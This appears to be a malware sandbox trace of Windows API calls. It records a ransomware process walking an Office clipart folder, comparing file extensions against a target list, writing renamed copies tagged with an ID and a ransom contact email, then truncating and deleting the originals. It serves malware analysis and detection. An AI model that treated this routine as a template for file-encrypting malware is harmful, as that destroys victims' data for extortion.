	[0084.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.624] lstrlenW (lpString=".docx") returned 5
	[0084.624] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.624] lstrlenW (lpString=".pdf") returned 4
	[0084.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.624] lstrlenW (lpString=".xls") returned 4
	[0084.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.624] lstrlenW (lpString=".xlsx") returned 5
	[0084.624] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.624] lstrlenW (lpString=".ppt") returned 4
	[0084.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0084.624] lstrlenW (lpString=".zip") returned 4
	[0084.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.624] lstrlenW (lpString=".rar") returned 4
	[0084.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.624] lstrlenW (lpString=".bz2") returned 4
	[0084.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.624] lstrlenW (lpString=".7z") returned 3
	[0084.624] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0084.624] lstrlenW (lpString=".dbf") returned 4
	[0084.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0084.624] lstrlenW (lpString=".1cd") returned 4
	[0084.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0084.624] lstrlenW (lpString=".jpg") returned 4
	[0084.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.625] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0084.625] lstrlenW (lpString="BD19827_.WMF") returned 12
	[0084.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0084.625] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=9710) returned 1
	[0084.625] CloseHandle (hObject=0x38c) returned 1
	[0084.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x220
	[0084.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0084.625] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.625] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0084.626] GetLastError () returned 0x0
	[0084.626] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x25ee, lpOverlapped=0x0) returned 1
	[0084.891] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x25f0, lpOverlapped=0x0) returned 1
	[0084.907] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.907] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.907] SetEndOfFile (hFile=0x394) returned 1
	[0084.908] CloseHandle (hObject=0x394) returned 1
	[0084.908] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.908] SetEndOfFile (hFile=0x38c) returned 1
	[0084.909] CloseHandle (hObject=0x38c) returned 1
	[0084.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.910] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 1
	[0085.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0085.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0085.506] lstrlenW (lpString=".doc") returned 4
	[0085.506] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.506] lstrlenW (lpString=".docx") returned 5
	[0085.506] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.506] lstrlenW (lpString=".pdf") returned 4
	[0085.506] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.506] lstrlenW (lpString=".xls") returned 4
	[0085.506] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.506] lstrlenW (lpString=".xlsx") returned 5
	[0085.506] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.506] lstrlenW (lpString=".ppt") returned 4
	[0085.506] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0085.506] lstrlenW (lpString=".zip") returned 4
	[0085.506] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.506] lstrlenW (lpString=".rar") returned 4
	[0085.506] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.507] lstrlenW (lpString=".bz2") returned 4
	[0085.507] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.507] lstrlenW (lpString=".7z") returned 3
	[0085.507] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0085.507] lstrlenW (lpString=".dbf") returned 4
	[0085.507] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0085.507] lstrlenW (lpString=".1cd") returned 4
	[0085.507] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0085.507] lstrlenW (lpString=".jpg") returned 4
	[0085.507] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0085.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0085.507] lstrlenW (lpString=".doc") returned 4
	[0085.507] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.507] lstrlenW (lpString=".docx") returned 5
	[0085.507] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.507] lstrlenW (lpString=".pdf") returned 4
	[0085.507] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.507] lstrlenW (lpString=".xls") returned 4
	[0085.507] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.507] lstrlenW (lpString=".xlsx") returned 5
	[0085.507] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.507] lstrlenW (lpString=".ppt") returned 4
	[0085.508] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0085.508] lstrlenW (lpString=".zip") returned 4
	[0085.508] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.508] lstrlenW (lpString=".rar") returned 4
	[0085.508] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.508] lstrlenW (lpString=".bz2") returned 4
	[0085.508] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.508] lstrlenW (lpString=".7z") returned 3
	[0085.508] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0085.508] lstrlenW (lpString=".dbf") returned 4
	[0085.508] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0085.508] lstrlenW (lpString=".1cd") returned 4
	[0085.508] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0085.508] lstrlenW (lpString=".jpg") returned 4
	[0085.508] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.508] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0085.508] lstrlenW (lpString="BL00234_.WMF") returned 12
	[0085.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0085.509] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=9304) returned 1
	[0085.509] CloseHandle (hObject=0x394) returned 1
	[0085.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x220
	[0085.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0085.510] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.510] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0085.510] GetLastError () returned 0x0
	[0085.510] ReadFile (in: hFile=0x394, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x2458, lpOverlapped=0x0) returned 1
	[0085.513] WriteFile (in: hFile=0x2bc, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x2460, lpOverlapped=0x0) returned 1
	[0085.514] ReadFile (in: hFile=0x394, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.514] WriteFile (in: hFile=0x2bc, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.515] SetEndOfFile (hFile=0x2bc) returned 1
	[0085.515] CloseHandle (hObject=0x2bc) returned 1
	[0085.516] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.516] SetEndOfFile (hFile=0x394) returned 1
	[0085.517] CloseHandle (hObject=0x394) returned 1
	[0085.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0085.518] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 1
	[0085.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0085.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0085.518] lstrlenW (lpString=".doc") returned 4
	[0085.518] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.518] lstrlenW (lpString=".docx") returned 5
	[0085.518] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.518] lstrlenW (lpString=".pdf") returned 4
	[0085.518] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.518] lstrlenW (lpString=".xls") returned 4
	[0085.518] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.518] lstrlenW (lpString=".xlsx") returned 5
	[0085.518] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.519] lstrlenW (lpString=".ppt") returned 4
	[0085.519] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0085.519] lstrlenW (lpString=".zip") returned 4
	[0085.519] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.519] lstrlenW (lpString=".rar") returned 4
	[0085.519] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.519] lstrlenW (lpString=".bz2") returned 4
	[0085.519] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.519] lstrlenW (lpString=".7z") returned 3
	[0085.519] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0085.519] lstrlenW (lpString=".dbf") returned 4
	[0085.519] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0085.519] lstrlenW (lpString=".1cd") returned 4
	[0085.519] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0085.519] lstrlenW (lpString=".jpg") returned 4
	[0085.519] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0085.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0085.519] lstrlenW (lpString=".doc") returned 4
	[0085.519] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.519] lstrlenW (lpString=".docx") returned 5
	[0085.519] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.520] lstrlenW (lpString=".pdf") returned 4
	[0085.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.520] lstrlenW (lpString=".xls") returned 4
	[0085.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.520] lstrlenW (lpString=".xlsx") returned 5
	[0085.520] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.520] lstrlenW (lpString=".ppt") returned 4
	[0085.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0085.520] lstrlenW (lpString=".zip") returned 4
	[0085.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.520] lstrlenW (lpString=".rar") returned 4
	[0085.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.520] lstrlenW (lpString=".bz2") returned 4
	[0085.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.520] lstrlenW (lpString=".7z") returned 3
	[0085.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0085.520] lstrlenW (lpString=".dbf") returned 4
	[0085.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0085.520] lstrlenW (lpString=".1cd") returned 4
	[0085.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0085.520] lstrlenW (lpString=".jpg") returned 4
	[0085.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.521] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0085.521] lstrlenW (lpString="BL00242_.WMF") returned 12
	[0085.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0085.521] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=4024) returned 1
	[0085.521] CloseHandle (hObject=0x394) returned 1
	[0085.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 0x220
	[0085.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0085.522] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.522] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0085.522] GetLastError () returned 0x0
	[0085.522] ReadFile (in: hFile=0x394, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xfb8, lpOverlapped=0x0) returned 1
	[0085.524] WriteFile (in: hFile=0x2bc, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xfc0, lpOverlapped=0x0) returned 1
	[0085.525] ReadFile (in: hFile=0x394, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.525] WriteFile (in: hFile=0x2bc, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.526] SetEndOfFile (hFile=0x2bc) returned 1
	[0085.526] CloseHandle (hObject=0x2bc) returned 1
	[0085.527] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.527] SetEndOfFile (hFile=0x394) returned 1
	[0085.528] CloseHandle (hObject=0x394) returned 1
	[0085.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0085.528] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 1
	[0085.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0085.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0085.529] lstrlenW (lpString=".doc") returned 4
	[0085.529] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.529] lstrlenW (lpString=".docx") returned 5
	[0085.529] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.529] lstrlenW (lpString=".pdf") returned 4
	[0085.529] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.529] lstrlenW (lpString=".xls") returned 4
	[0085.529] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.529] lstrlenW (lpString=".xlsx") returned 5
	[0085.529] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.529] lstrlenW (lpString=".ppt") returned 4
	[0085.529] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0085.529] lstrlenW (lpString=".zip") returned 4
	[0085.529] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.529] lstrlenW (lpString=".rar") returned 4
	[0085.529] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.529] lstrlenW (lpString=".bz2") returned 4
	[0085.529] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.529] lstrlenW (lpString=".7z") returned 3
	[0085.529] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0085.530] lstrlenW (lpString=".dbf") returned 4
	[0085.530] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0085.530] lstrlenW (lpString=".1cd") returned 4
	[0085.530] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0085.530] lstrlenW (lpString=".jpg") returned 4
	[0085.530] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0085.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
